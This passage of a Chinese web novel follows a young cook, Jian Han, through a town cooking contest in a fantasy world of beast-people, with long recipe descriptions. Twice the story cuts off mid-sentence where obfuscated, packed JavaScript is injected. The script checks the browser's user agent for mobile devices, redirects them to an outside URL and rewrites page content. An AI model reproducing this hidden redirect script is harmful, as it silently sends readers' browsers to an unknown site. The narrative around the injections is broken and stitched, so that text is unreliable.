她的目光从简菡写满“完全没听说”的脸上扫过，又看向客栈里其他同样一脸茫然的汪屿、雪翎和墨无咎。 见他们都是一副毫不知情的样子，这下轮到甘芮懵住了。 “啊？一点风声都没有啊？那我可能是来早了……” 她有些讪讪地用法咒烘干了身上潮湿的衣服，瞥见桌上还没处理完的葫芦和那盆葫芦丝，顿时玩心大起，也挽起袖子，加入了“葫芦插丝大队”，一边帮忙一边继续分享她听来的八卦。 眼看快到中午，雨势虽被结界挡住，但寒意却透了过来。简菡决定做点热乎的驱驱寒。 牛腱子肉切成大块，冷水下锅，加入姜片、料酒焯去血水，捞出用温水洗净。 然后将牛肉放入一个大砂锅中，加入足量的清水，放入葱段、姜片、几粒花椒和一个八角，大火烧开后转小火，慢慢地炖煮了近两个时辰，直到牛肉酥烂，汤色清澈而浓郁，飘出诱人的肉香。 红薯粉丝煮软后，捞出过凉水备用。取一个大碗，碗底放入煮好的粉丝、切好的香菜末和葱花。 将炖得烂熟的牛肉捞出，切成薄片，铺在粉丝上。最后，浇上滚烫的、原汁原味的牛肉清汤！ 与此同时，旁边小灶上烙的千层饼也出锅了。饼子外皮烙得金黄酥脆，一层一层，撕开后冒着热气，面香扑鼻。 “来来来，趁热吃！” 简菡将满满一大碗热气腾腾的牛肉粉丝汤和一碟子烙饼放到每个人面前。 汤色清亮，表面浮着点点金色的油花。一口汤下肚，瞬间从喉咙暖到胃里，驱散了所有的寒意。 饼块泡进去，立马被浸湿，温热鲜香，带着浓浓醇厚牛肉香味的汤水被吸进去，又韧又软。 牛肉片酥烂入味，粉丝晶莹爽滑。 若是再用其蘸点简菡自制的辣椒油，更是香辣过瘾。 在这秋雨绵绵的寒冷天气里，吃上这么一碗，简直是无上的享受。 几个人围坐在桌旁，捧着大海碗，吸溜着粉丝，喝着热汤，听着甘芮带来的关于厨神大赛的传闻，屋子里充满了食物香气和欢声笑语。 34. 麻酱贡菜千层肚 吹锣打鼓的乐队在前头开路，唢呐吹得震天响。 后头紧跟着十名分成两列的年轻貌美姑娘，个个穿着鲜艳的罗裙，梳着双环髻，鬓边簪着新鲜的时令小花，手里还提着精致的藤编花篮，一边走一边将篮子里花瓣抛向空中。 花瓣混着秋日微凉的空气，纷纷扬扬落下，香风扑面。 再后面，十匹浑身雪白、没有一丝杂毛的高头大马，油光水滑，神骏非凡，拉着一辆极其华丽的四轮马车。 马车厢体描金绘彩，车窗挂着流苏锦帘，随着马车行进微微晃动，透着一股子“爷不差钱”又“爷有品位”的劲儿。 简菡、雪翎和甘芮三人被汪屿和墨无咎一左一右护着，挤在摩肩接踵的人群里看热闹。 “快看！好帅啊！”雪翎激动地扯了扯简菡的袖子。 简菡也踮起脚尖望去，这一看，心里不由得“嚯”了一声。 这厨神的模样……还真是俊俏得有点过分了！ 瞧那面容，看上去顶多三十出头，眉目清朗，鼻梁高挺，唇边噙着一抹温和的笑意，气质温润如玉。若非他眼角几道极浅的细纹透露出岁月的痕迹，以及那双深邃眼眸中沉淀的从容与阅历，简菡打死也不信这会是位能从御膳房“告老还乡”的主儿。 马车稳稳停在了五福镇北面一座依山傍水、气派非凡的大宅院门前。 这宅子显然是新修缮过的，朱漆大门，锃亮铜环，门前两尊石狮子威武霸气，此刻更是挂满了红绸布、红灯笼，喜庆得晃眼。 车门打开，身着月白色暗纹锦袍的厨神缓步而下，站定在宅院门前。人群瞬间安静了不少，所有目光都聚焦在他身上。 门匾上龙飞凤舞地刻着三个大字——“厨神府”。 简菡看着那门匾，不由得咂舌，还真是…… 言简意赅，霸气侧漏！ “诸位乡亲父老！”那位帅气厨神开了口，声音清越，不高不低，却清晰地传到了每个人耳中。 “齐荼今日重返故里，感谢诸位乡亲热情相迎！” 他朝着四周拱了拱手，姿态优雅。人群立刻爆发出热烈的欢呼。 齐荼微微一笑，抬手虚按，待声音稍歇，继续道：“为答谢乡梓，亦为切磋厨艺，五日后于金银楼，在下将与诸位美食大家共同举办一场‘五福镇厨神争霸赛’，届时将一同推选出咱们五福镇的‘小厨神’。凡对厨艺有自信者，无论出身，皆可在这五日内，前往金银楼报名登记！” 话音才落，比刚才更响亮的雷鸣般的掌声和叫好声立马响起，不少人已经开始摩拳擦掌，跃跃欲试。 金银楼？ 简菡觉得这名字十分耳熟。 她正疑惑在哪里听到这名字的时候，忽地，余光瞥见不远处也在看热闹、正傻乐的青梧。 脑中白光一现！ 她想起来了！ 这不就是她在千金坊门口摆摊卖盒饭时，身后那座金碧辉煌的大酒楼吗！ “我抢到了！我抢到了！快尝尝！” 这时，雪翎从前头人堆里费力地挤了回来，发髻都有些散乱了，脸上却洋溢着胜利的喜悦。 她双手小心翼翼捧着一个油纸包，打开一看，里面是一个造型极其精致的点心。 那佛手酥做得栩栩如生，色泽金黄诱人。 外形宛如一只微握的佛手，“指尖”部分酥皮层层叠叠，薄如蝉翼，烤制后自然绽开，形成纤细的酥丝，仿佛真佛手的纹理。 整体造型优雅别致，表面还刷了一层亮晶晶的糖浆，使得色泽更加润泽动人，散发着淡淡的奶香和油酥香气。 “这可是厨神府刚才派发的，一人限一个，我好不容易才抢到的！”雪翎献宝似的捧到大家面前。 汪仙楼众人都围过来端详，连汪屿和墨无咎都投来了好奇的目光。 端详够了，雪翎果断地将这精致的佛手酥小心地分成几小块，给大伙每人都分了一小块。 简菡双手接过自己那份，放入口中。 牙齿轻轻一碰，外层那千层酥皮便应声碎裂，发出细微的“簌簌”声，酥脆得不可思议。 酥皮入口即化，浓郁的奶香和黄油香气瞬间充盈口腔。内馅是细腻绵密的绿豆沙，甜度恰到好处，带着绿豆本身的清香，与酥皮的油润相得益彰，丝毫不觉甜腻。 酥皮的脆、馅料的绵、香气的层次……每一种感觉都恰到好处，融合得完美无瑕。 怪不得是京城厨神！这手艺真的是绝了！ 简菡由衷地赞叹，感觉自己的味蕾都被这小小一块点心征服了。 “竟然比我家月满楼做得还好吃！”自小吃惯了精美食物的甘芮，都忍不住睁大了眼睛，脸上写满了惊艳。 听到这话，简菡心里刚刚升起的赞叹，瞬间被一股莫名的失落给压了下去。 跟人家厨神这登峰造极的手艺比起来，她那点本事，不过是三角猫功夫！ 原本还有几分跃跃欲试的心思，在尝过这佛手酥后，就像被针扎了的气球，一下子瘪了下去。 她来五福镇之后，就一直窝在汪仙楼里小打小闹，做点家常菜。真要和别人同台竞技，而且还是在这种公开的大赛上…… 她忽然有点怂了。 回去的路上，简菡始终心事重重，低着头，一言不发。甘芮喊了她四五声，她都没反应过来。 一只骨节分明的手在她眼前晃了晃，简菡这才猛地从纷乱的思绪中抽离出来，茫然抬头。 “啊？怎么了？” 雪翎眨巴着大眼睛，重复了一遍：“我和甘芮问你，要不要现在顺道去金银楼报个名？你看，就在前面了。” 简菡偏头一看，果不其然，他们已经走到了金银楼附近。 厨神府前的百姓都还没完全散干净呢，这金银楼门口已经排起了一条不算短的长队，都是闻风而动，想要报名参赛的人，一个个脸上洋溢着自信和期待。 简菡想到刚才吃到的那一小块堪称艺术品的佛手酥，又看了看眼前排队的人群，心里那点退缩之意更浓了。 她轻轻摇了摇头，声音有些低落：“先回去吧。” “哎？现在人看着多，但动得快，干嘛不……” 雪翎还想再劝，旁边的甘芮却伸手轻轻捂住了她的嘴，冲她摇了摇头，然后用眼神示意了一下前面依旧失魂落魄、默默往前走的简菡。 “她怎么了？”雪翎后知后觉，这才发现简菡的不对劲，压低声音问其他人。 汪仙楼众人都纷纷对雪翎摇摇头，表示不清楚。连甘芮都耸了下肩膀，小声道：“我也不知道，从吃了那佛手酥后，她就有点怪怪的了。” 客栈没什么人，简菡又心里乱糟糟的，干脆偷了个懒，搬了梯子，爬到了客栈主楼的房顶上晒太阳。 秋日的太阳暖洋洋的，照在身上特别舒服。 她双手托腮，手肘撑在膝盖上，看着底下街道上依旧熙熙攘攘的路人，眼神却没有焦点，只是发着呆。 “自卑了？” 忽然冒出来的声音吓了简菡一跳，她正神游天外，差点脚一滑从屋檐上滚下去！幸好旁边伸过来一只手，及时抓住了她的胳膊，帮她稳住了身子。 简菡惊魂未定地扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655574|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，对上一双带着几分戏谑的圆圆眼。 苗澈这家伙，怎么老是神出鬼没的！ “你差点害死我！” 重新坐稳的简菡，没好气地挥开了苗澈抓着她胳膊的手，气呼呼地就要往下爬。 这屋顶没法呆了！ “你自卑了！” 苗澈蹲下身，直直撞进仰头看他的简菡眼里。他语气肯定，带着点洞察人心的锐利。 瞬间，简菡有种被人戳破心思的恼怒，脸腾地一下就红了。 她的脚已经搭在了梯子最上边的一节，她扶稳两侧的扶手，就要一步一步地往下退。 苗澈看着她这近乎落荒而逃的样子，也不阻拦。 “不试试，你才永远都是缩在龟壳里的懦夫。” 简菡下梯子的动作顿了一下。 直到她稳稳落在地面，这才抬头看了一眼屋顶的苗澈。阳光从他背后照射过来，给他周身镀上了一层金边，却让他的面容更加看不清了。 她定定地看了他一会儿，转身径直钻进了厨房。 千层肚反复清洗干净，放入锅中，加入姜片、葱段、料酒和几粒花椒，冷水下锅煮沸，撇去浮沫，然后转中小火煮至千层肚软嫩适中，用筷子能轻松戳透即可。 捞出后立刻放入冰水中浸泡，这样能让千层肚的口感更加脆爽弹牙。 贡菜，选取最嫩的部分，洗净后切成均匀的细段，同样放入开水中快速焯烫十几秒，捞出过凉，保持其翠绿的色泽和爽脆的口感。 简菡取来一个小碗，舀入几勺香气浓郁的二八芝麻酱，先用少量的温水慢慢澥开，顺着一个方向不停搅拌，直到芝麻酱变得顺滑细腻，没有疙瘩。 然后加入适量的生抽、香醋、盐、少许糖提鲜，再来一勺灵魂辣椒油，撒上蒜末、葱花和香菜末，最后滴上几滴香油，将所有的调料充分搅拌均匀。 顿时，一股复合的、诱人的香气弥漫开来。 此时，将彻底凉透的千层肚捞出，沥干水分，切成均匀的细丝。与处理好的贡菜段一起放入一个大碗中。 将调好的麻酱汁淋上去，用筷子充分拌匀，让每一根千层肚丝和贡菜段都均匀地裹上酱汁。 褐色的千层肚丝与翠绿的贡菜段交织在一起，颜色对比鲜明，令人食欲大开。 浓郁的麻酱汁包裹着食材，粘稠适中，上面点缀着红色的辣椒油、白色的蒜末和绿色的香菜葱花，煞是好看。 光是闻着那香味，就让人口水直流。 简菡做了三碗，自己留了一碗，另外两碗放在托盘上，端了出去。 “雪翎姐姐，甘芮姐姐，快来尝尝！”简菡脸上带着明朗的笑容，仿佛刚才那个蔫头耷脑的人不是她一样。 雪翎和甘芮狐疑地对视一眼，还是拿起了筷子。 入口最先感受到的是麻酱的浓郁香醇，紧接着是千层肚那异常爽脆弹牙的口感，咀嚼时甚至能听到轻微的“咯吱”声，与贡菜的清脆相得益彰。 酸、甜、咸、辣、香，多种味道在口中层层递进，融合得恰到好处，辣椒油的香辣点睛之笔，让人胃口大开，越吃越想吃，根本停不下来。 “好吃！” 雪翎和甘芮嘴里塞得鼓鼓囊囊的，话音含含糊糊，只能用力地竖起大拇指。 看着二人吃得正酣，简菡笑了，眼睛弯成了月牙儿。 “那……麻烦二位姐姐，一会儿陪我去金银楼报个名吧？” “啊？” 雪翎和甘芮同步抬起头，嘴里还嚼着千层肚，一脸懵圈。 好家伙，在这儿等着她们呢！ 35. 老妈蹄花 有京城厨神这个金光闪闪的噱头，五福镇厨神争霸赛可谓是家喻户晓，连街边玩闹的稚童都能哼两句不知从哪儿听来的“厨神赛，显神通，争个魁首好威风”。 甚至有些胆大的，在背地里私设了赌场，红纸黑字写着各路热门人选的名字，押宝谁能夺得头魁，引得不少好事之徒揣着铜钱银两前去下注，好不热闹。 第一轮比赛的主题，在开赛的前三天，被用醒目的红纸黑字挂在了金银楼的大门口。 “食材本源。” 简菡盯着这四个大字，眼睛都快看成斗鸡眼了，一时半会儿愣是没琢磨出丁点头绪。 食材本源？ 这范围也太广了吧？是要突出食材的原汁原味？还是追溯其根本的烹饪手法？ 川鲁粤淮扬，闽浙湘本帮…… 简菡在脑子里把她知道的菜系挨个过了一遍，然后……她惊奇的发现，她根本分不清什么经典菜式具体属于哪个菜系！ 脑子里只有一堆诸如红烧肉、水煮鱼、白切鸡之类的菜名在打架。 完了，理论知识严重匮乏！ “要我说，就做你最拿手的那个……那个叫什么来着？对！干锅鹿茸菇！保证让他们眼前一亮！”雪翎兴奋地提议。 甘芮则持不同意见：“既是本源，当以鲜取胜。不如做道清蒸鲥鱼？或是蟹粉狮子头？取其本味，方显功底。” 两个姑娘在她耳边叽叽喳喳，你一言我一语，出的主意都能开个满汉全席了。 简菡只觉得脑子里像塞了一团浆糊，越来越乱，差点就想抱着脑袋蹲到墙角画圈圈。 “停！打住！”简菡举起双手投降，“咱们……咱们去菜市场逛逛吧？” 为了防止作弊，厨神争霸赛的食材都由金银楼统一提供。 参赛者只需根据自己的需要进行拿取，除非有极特别珍惜的食材，需要提前两日内告知外，剩余常见食材基本都会有。 但简菡光坐在家里干想也不是办法，不如去那充满生机的地方找找灵感。 五福镇的菜市场分为南市和北市两大区域。 南市也就是简菡常去的那片，多是一些散户和卖平价货的商贩，热闹又亲民。而北市，则堪称豪华至极，天上飞的、水里游的、地上跑的……什么稀罕物都有，当然，相应的价格也美丽得让人心颤。 是以，这还是简菡第一次壮着胆子来北市开眼界。 北市地面铺着整齐的青石板，各个摊位宽敞明亮，挂着统一的布幌子。 水灵灵的瓜果蔬菜码放得如同艺术品，带着露珠的绿叶菜青翠欲滴，饱满的瓜果泛着诱人的光泽。 肉类区更是壮观，挂着整扇的牛羊，肉色鲜红，纹理分明；一旁的水池里，各种活蹦乱跳的河鲜海鲜应有尽有，大闸蟹张牙舞爪，鲈鱼摆尾溅起水花。 更有些稀奇古怪的摊位，居然挂着来自遥远西漠的、带着鳞片的“地龙肉”，还有号称是雪山之上“冰晶凤鸟”的翅尖，看得简菡啧啧称奇，这兽人世界的食材库也太丰富了！ 忽地，一股浓郁甜腻，带着特殊热带水果芬芳的味道钻入简菡的鼻腔。 这味道……太熟悉了！ 简菡顺着香味，在一个角落找到了摊子。只见那摊位上堆着几个比篮球还大、外表布满粗粝疙瘩的黄绿色果实！ 菠萝蜜！ 简菡惊喜地瞪大了眼睛。这地方竟然还有这种东西！ 摊主是个手脚麻利的小猴子兽人，见难得有客人对这“怪东西”感兴趣，赶紧用刀撬开一块，插着一块金黄色的肥厚果肉就给简菡递了过来：“姑娘，尝尝？香甜着呢！” 简菡忙不迭接过，放入口中。 果肉口感厚实Q弹，咬下去的瞬间，极致的甜香立刻霸占了整个口腔，甜而不腻，带着独特的热带风情，几乎让她感动得热泪盈眶。 是记忆里的味道！虽然比不上现代经过改良的品种那么甜，但在这个世界能吃到，已经是意外之喜了！ “很甜！老板，给我称一个！”简菡问好价格，虽然肉痛，还是爽快地卸下钱包付了钱。 一旁的甘芮和雪翎早就受不了这“霸道”的香气，捂着鼻子退出去老远，死活不敢尝。 简菡也不勉强，自己美滋滋地拎着这“宝贝”，继续往前逛。 这北市贵确实有贵的道理。 红得发紫、个头堪比乒乓球的大樱桃；金灿灿、光滑细腻的黄金桃；纹路漂亮、散发着蜜糖般香气的哈密瓜…… 简菡几乎看见水果摊就走不动路，这个也想买，那个也想尝，不知不觉间，钱包就以肉眼可见的速度瘪了下去，彻底空了。 雪翎和甘芮倒是兢兢业业，将她买下的战利品。除了那个她们一致嫌弃的菠萝蜜外，其余全都收入了各自的储物法器里。 否则光是拎着这些瓜果，就能把她们累趴下。 钱花光了，简菡还是意犹未尽，打算穷逛。 正巧，路过一个猪肉摊，那膀大腰圆老板，正在巨大的木质案板上处理一扇猪。 他手起刀落，动作干净利落。 厚实的砍刀沿着骨骼关节缝隙精准下刀，发出沉闷的“咚、咚”声，轻松地将猪蹄、肋排、五花等部位分解开来。 那猪蹄个个白白嫩嫩，饱满丰腴，看着就喜人。 简菡呆呆地看着老板手上那稳定而富有节奏的动作，看着那被完美分离的猪蹄，脑海里忽然闪过一道光！ 比赛这日，简菡特意穿了身便于行动的衣裳。 上身是件浅青色的圆领窄袖绢布襦衣，领口与袖缘绣着银线缠枝纹，腰间束着条月白色的织锦腰带，恰到好处地收出纤细腰身。下裳配了条同色系的间色裙，裙裾只到脚踝，裙摆处用深青丝线绣着连绵的水波纹，既不失女儿家的秀气，又不会妨碍灶台前的动作。 她将一头乌发在脑后利落地盘成圆髻，用一根素银簪子固定，再系上条与衣裳同色的浅青头巾。头巾从额前包至发髻后系紧，两侧余角巧妙地掖进巾内，既能防止碎发遮挡视线，又能吸去额间薄汗。 整个人显得清爽又干练。她站到了分配给自己的那一方灶台前。 位次显然是按照厨师等级和出身分配的。 师承名厨或有御膳房背景的，自然在最前列，灶台宽敞，工具齐全；来自金银楼等知名大酒楼的稍后些；而像简菡这种小店出身，又没什么响亮师承的，几乎和身后那些报名看热闹的家厨、爱好者没有区分，全都被安排在了最后面的区域，跟围观的百姓之间，就隔着半米不到的距离，简直能感受到身后人群伸出来的手。 简菡隔空，遥遥看了眼上方搭着凉棚、摆着檀木桌椅的评委席，即使她视力不错，也只能模糊看到几个身影，连哪位是厨神齐荼都分辨不清。 “还真是区别对待……” 她在心里默默吐槽了一句，但很快便调整好心态，不再东张西望，而是认真检查起自己的灶台、锅具和组委会提供的基础调料。 很快，吹拉弹唱的乐班子声音停了下来。 县令象征性地讲了几句鼓励的话，便与厨神齐荼一同拿起鼓槌，敲了一下旁边架设的大鼓鼓面，正式宣告比赛开始。 “咚”的一声浑厚铜锣响过，立在一旁的工作人员高声宣告选手可以进入食材区选材。 简菡拎着菜篮，随着人流朝食材区走了过去。 食材区果然种类丰富。 她目标明确，直奔肉类区，一眼就看到了那些白白嫩嫩、个头饱满的猪蹄。她精心挑选了四个形态最好的放进菜篮，随后又拿了些芸豆、姜、葱、花椒、料酒等必备的食材和调料。 半柱香的选择时间一 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大火烧开后，转为最小的火苗，盖上锅盖，任由时间慢慢煨炖。这期间，她偶尔会掀开盖子，用勺子撇去表面偶尔浮现的少量油脂，保持汤的清爽。 足足炖了两个时辰，砂锅里的汤汁已经呈现出浓郁的奶白色，咕嘟咕嘟地冒着细小的气泡。 猪蹄被炖得极其软烂，皮肉几乎要从骨头上脱落下来，用筷子轻轻一碰，那颤巍巍的胶质仿佛在诱人品尝。芸豆也早已开花起沙，融于汤中，更添一份醇厚。 她小心地撒入适量的盐调味，别的香料一概不放，力求突出食材本身的原味。最后撒上一点翠绿的葱花点缀。 做完这一切，简菡还不忘就着锅里的热水，将灶台、砧板、刀具都擦拭得干干净净，这才举手示意自己的菜品完成。 此时，评委席上已经品尝了不少作品。 有人极致求鲜，只用高汤轻灼，搭配各色菌菇的“菌菇鲜”；有人汇聚海中至味，摆盘精美如画的“海鲜拼盘”……无一不紧扣“食材本源”的主题，力求展现食材最引以为傲的本来滋味。 金银楼的首席大厨，竟是一位神态倨傲的孔雀兽人。他呈上的是一道“金汤芙蓉烩瑶柱”。 选用上等干贝精心发制，佐以鸡蓉、蛋清制成的“芙蓉”，再用南瓜茸、鸡高调出金灿灿的汤底，色泽华丽，味道鲜美层次丰富，赢得了评委们的一致点头称赞，尤其是那位来素有金舌头之称的师旖，捋着胡子连连称“深得本源之精髓，化平凡为神奇”。 简菡捏着手心，看着自己那碗看起来朴实无华，甚至有些过于“家常”的老妈蹄花被端了上去，心里像揣了只兔子，砰砰直跳。 评委们看着这碗奶白色的汤，表情各异。 厨神师旖拿起汤匙，先舀了一勺汤，吹了吹，送入口中。他微微闭目，细细品味。 “嗯……”师旖缓缓睁开眼，点了点头，“汤色奶白，火候到位。猪蹄炖得极烂，入口即化，胶质丰富。芸豆起沙，融于汤中，增其醇厚。调味极简，仅以盐提味，最大程度保留了猪蹄本身的肉香与胶质的口感，紧扣‘本源’之题。” 另一位评委是本地的乡绅金乾，他根本不懂品菜，只因为出了钱赞助，这才混了个评委当。他直接夹起一块颤巍巍的蹄花，蘸了点简菡附上的蘸水，放入口中。 仔细咀嚼后，他微微蹙眉：“蹄花软烂，汤味醇厚，确实不错。只是……这味道未免过于朴实，少了些……惊艳之感。与前面几道菜相比，在技艺和创意上，似乎略显平淡。” 最终打分，简菡这道老妈蹄花，凭借其对食材本味的精准把握和扎实的火候功底，堪堪达到了晋级线，不算拔尖，但也顺利进入了下一轮。 听到结果，简菡长长地舒了一口气，悬着的心终于落回了肚子里。 不管怎样，第一步，总算是成功迈出去了！ 36. 火芽银丝 “简菡！” 简菡才从那喧闹的比赛区域走出来，下一秒，立马被两道香风扑了个满怀！ 甘芮和雪翎一左一右，激动地抱住了她。 “赢了！赢了！” 几个女孩抱在一起又蹦又跳，开心极了。 “对了！”简菡忽然想起自己提出来的那碗蹄花，赶紧回头去找汪屿。 比赛剩余的食材是归金银楼自行收回的，但做完的多余吃食是可以带走的。 从汪屿那接过那个还带着温热的食盒，简菡赶紧招呼大家都尝一尝。 打开盖子，奶白色的汤汁微微晃动，炖得极其软烂的猪蹄几乎要化在汤里，皮肉分离，胶质充盈，配上炖得开花起沙的芸豆，只是看着就让人食指大动。 大家也顾不上客气，纷纷拿起备用的勺子尝了一口。 “嗯！这蹄花真是绝了！”雪翎眯起眼，感受着那入口即化的软糯口感，以及汤汁醇厚鲜美的味道，“看着清淡，味道却这么足！” “汤头也鲜，芸豆都炖化了，全融在汤里，好喝！”甘芮小口喝着汤，连连点头。 为了庆祝简菡顺利晋级，汪仙楼今日干脆歇业一日。 几人在镇子上逛了小半天，直到日暮时分，大伙肚子都咕咕叫了，才在街边找了个热闹的烧烤摊坐了下来。 炭火烧得正旺，各种肉串、蔬菜在铁架上滋滋作响，香气混合着烟火气，弥漫在夜晚的空气中。 “恭喜啊！” 简菡正咬着一串烤得焦香、刷满了酱料的鱿鱼，就感受到身边一阵风带过。 扭头，苗澈已经在她边上那个空位自然而然地坐了下来，仿佛他本就是他们中的一员。 她皱起眉，刚想呛他一句“你怎么在这”，就见对面一直没什么表情的汪屿，竟然顺手给他递过去一串烤得油汪汪的鸡脖子。 嗯？ 简菡的目光在二人之间狐疑地流转。 她记得今天的太阳是从东边升起来的，没错啊！ 这两个家伙，什么时候这么熟了？咀嚼着嘴里鲜香弹牙的烤鱿鱼，简菡心里道了句，有鬼！ “来来来！碰一个，庆祝我们简菡首战大捷！” 雪翎眼珠子咕噜一转，直接端起了酒杯。简菡立马接收到暗号，也配合地举起了杯子。 玫瑰荔枝酒的酒液呈现出清澈的粉橙色，闻起来有浓郁的玫瑰花香与清甜的荔枝果香交织，入口柔和，甜而不腻，带着淡淡的花果回味，极易入口。 然而，这看似不起眼的果酒，若是跟同是果酒的葚华露缠在一起…… 那效果，简直是“三碗不过岗”了。 酒一杯杯下肚，汪屿和苗澈这两个男人还好端端地坐着，面不改色，倒是简菡、雪翎和甘芮三个女孩，相继趴在了桌上，人事不省。 苗澈看着身边脑袋一点一点、最终彻底歪倒的简菡，伸出手指，小心翼翼地戳了一下她因为醉酒而泛红的脸颊。 软软的，肉肉的，手感意外的好。 他轻笑了一下，收回手，端起自己的酒杯，看着对面的汪屿，挑了下眉，眼神里带着点挑衅的意味。 下一瞬，二人隔空，无声地碰了下杯，将杯中残酒一饮而尽。 旁边，墨无咎慢条斯理地吃完手上的烤鸡爪，用雪白的帕子擦了擦嘴和修长的手指，然后自觉地走到雪翎身边，弯下腰，小心翼翼地将她背到了自己背上，动作轻柔，仿佛背负着稀世珍宝。 汪屿正欲起身去扶简菡，却见她身边的苗澈已经抢先一步，弯下腰，动作算不上温柔，直接将她像扛米袋一样扛到了肩上。 汪屿见状，黑色的狼眸瞥了苗澈一眼，没出声，转身去找老板结了账，还顺便借了一辆平日里拉货用的简陋小推车，将醉得不省人事的甘芮扶了上去，推着往回走。 胃被苗澈的肩膀硌得很不舒服。 晚上吃的杂，再加上那一肚子的混合酒水，苗澈没走出几步，简菡便觉得肚子里翻江倒海的。 “嗯……”她无意识地哼了一声，手在苗澈的后背上无力地拍了几下。 苗澈以为她要吐，赶紧快走几步，寻了个稍微僻静的墙角，将人放了下来。 简菡捂住肚子，干呕了几下，却连点酸水都没返上来，蹲在那里，脑袋耷拉着，竟又睡了过去。 “喂！”苗澈有些无奈，用脚尖轻轻碰了碰简菡的小腿，“醒醒，别在这儿睡。” 后者静悄悄的，半点动静都没有，只有均匀的呼吸声。 他叹了口气，俯身将人扶起来，正要再次往肩上扛，动作却顿住了。似乎想到了什么，改了个姿势，手臂穿过她的腿弯和后背，将人打横抱了起来。 喝醉的醉鬼好似额外沉。 苗澈没走多久，就觉得手臂开始发酸。 他将人往上颠了颠，调整了一下姿势，继续皱着眉头朝前走。 身后，传来一声轻微的口哨声。 他偏过头，看见汪屿推着那个躺着甘芮的破旧板车，不紧不慢地跟在他后面。板车的轮子发出吱呀吱呀的声响，在寂静的夜里格外清晰。 “不行？”汪屿的声音带着一丝不易察觉的打趣，偏头朝推车上示意了一下，“换换？” 呵！ 苗澈被他这语气气得冷笑了一下。 他像是要证明什么似的，双臂用力，将怀里的简菡用力往上抛了抛，抱得更高些，让她的脑袋靠在自己颈窝处。 然后，他一步步朝汪屿走过去，在板车前停下。动作看似粗鲁，实则小心地将简菡也放到了板车上，让她挨着甘芮。 “你的人，你自己管。” 说完，他头都不回，径直往前走。 汪屿看着板车上并排躺着的两个醉鬼，又看了看前面那个傲娇的背影，黑色的狼耳几不可查地动了一下，认命地推起了板车。 ========= 很快，厨神争霸赛第二期的主题便在众人的期待中公布了出来。 “技法核心”。 这是……要考基本功？ 刀工？火候？烹饪手法？ 简菡仔细琢磨着这四个字，不敢怠慢，一头扎进了厨房里，开始了疯狂的练习。 不同于第一场比赛的人山人海，淘汰了一半选手后，赛场显然空旷了不少，连简菡的位置都比上次前移了许多，虽然依旧比不上那些名门出身的选手，但至少能能清楚地看到评委席了。 比赛开始后，简菡沉心静气，取出了拿到的食材——最普通的绿豆芽和一块上好的金华火腿。 她要做的，是一道极其考验刀工和火候控制的经典菜——火芽银丝。 这道菜，乃是取绿豆芽和火腿精工烹制而成，成品晶莹剔透，吃肉却不见肉形，将火腿的咸鲜完美融入豆芽的清爽之中，最是见功夫。 红白分明、香气浓郁的火腿先切成薄如纸片的均匀薄片，再将这些薄片切成细如发丝的火腿丝，每一根都几乎一般粗细。 接下来的步骤极其繁琐，最考验耐心。拿尖头针慢慢穿过豆芽，将豆芽芯子真正的穿成空心状。再把比绣花针都细的火腿丝嵌入豆芽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最终，几位评委达成一致意见：论食材的珍贵和滋味的浓郁层次，佛跳墙当仁不让；但若紧扣本轮“技法核心”的主题，单论刀工之精细、火候掌控之精准、以及对食材特性理解与融合之巧妙，简菡的“火芽银丝”更胜一筹！ “经评委合议，本场比赛，冠军为——汪仙楼的简菡，菜品‘火芽银丝’！” 啊？ 被点到名字的简菡愣愣地抬起头，见周围所有人都向她投来或惊讶、或羡慕、或探究的目光，她眨了眨眼，甚至没反应过来发生了什么事。 就在这时，孔暄面色复杂地走了过来。 “简菡姑娘，”他开口，声音平和，“恭喜夺冠。姑娘的菜品，可否让在下也品尝一下？” 他实在好奇，这道看起来平平无奇的豆芽菜，究竟有何等魔力，能压过他的佛跳墙。 啊？头筹？我吗？ 简菡的脑子里一瞬间过了不少东西，惊讶、茫然、还有一丝不真实感。 直到孔暄等得有些久，轻咳了一声，她才猛地回过神来。 “可以，可以，当然可以。” 简菡连忙应道，将保温炉灶上还剩下的那一小碟火芽银丝拿了下来，恭敬地递给孔暄。 孔暄接过来后，用干净的筷子夹起一根，仔细观察完一下火芽银丝后，方才送入口中。 他咀嚼得很慢，脸上的神色从探究，渐渐变为凝重，最后化为一丝心服口服的惊叹。 他放下筷子，对着简菡，郑重地拱了拱手：“愿赌服输。姑娘的技法确实精妙。” 说完，他甚至对简菡露出了一个真心实意，且毫无芥蒂的笑容。 37. 番茄肥牛烩金针菇 好家伙！这可真是一战成名！ 简菡还没从比赛的场地里走出来呢，“汪仙楼小厨娘大败金银楼大厨”的消息，就跟长了翅膀似的，瞬间传遍了五福镇的大街小巷！ 那可是金银楼的大厨啊！ 平日里眼高于顶，等闲人想见他一面都难的人物，就这么被简菡这样一个不起眼的小客栈里的小厨娘给打败了！这消息，比厨神回乡还让人震惊，瞬间成了镇上最热门的谈资。 不光简菡的身价水涨船高，连带着原本默默无闻的汪仙楼，都一下子进入了百姓的视野，成了街头巷尾议论的焦点。 没几天便是第三场的比赛，汪屿怕影响简菡比赛，连忙让墨无咎赶回去挂上“暂停营业”的木牌。 等简菡从比赛场地往外走的时候，乌央乌央的人群瞬间涌了上来。 “简姑娘，看看我们酒楼吧！待遇从优！” “小姑娘，定亲了没有啊？我家有个侄子……” …… 汪屿和雪翎尽力护着简菡，可人群实在太汹涌，他们依旧寸步难行，被围在中间，进退两难。 正焦灼间，一个清朗的声音响起：“诸位，请让一让！” 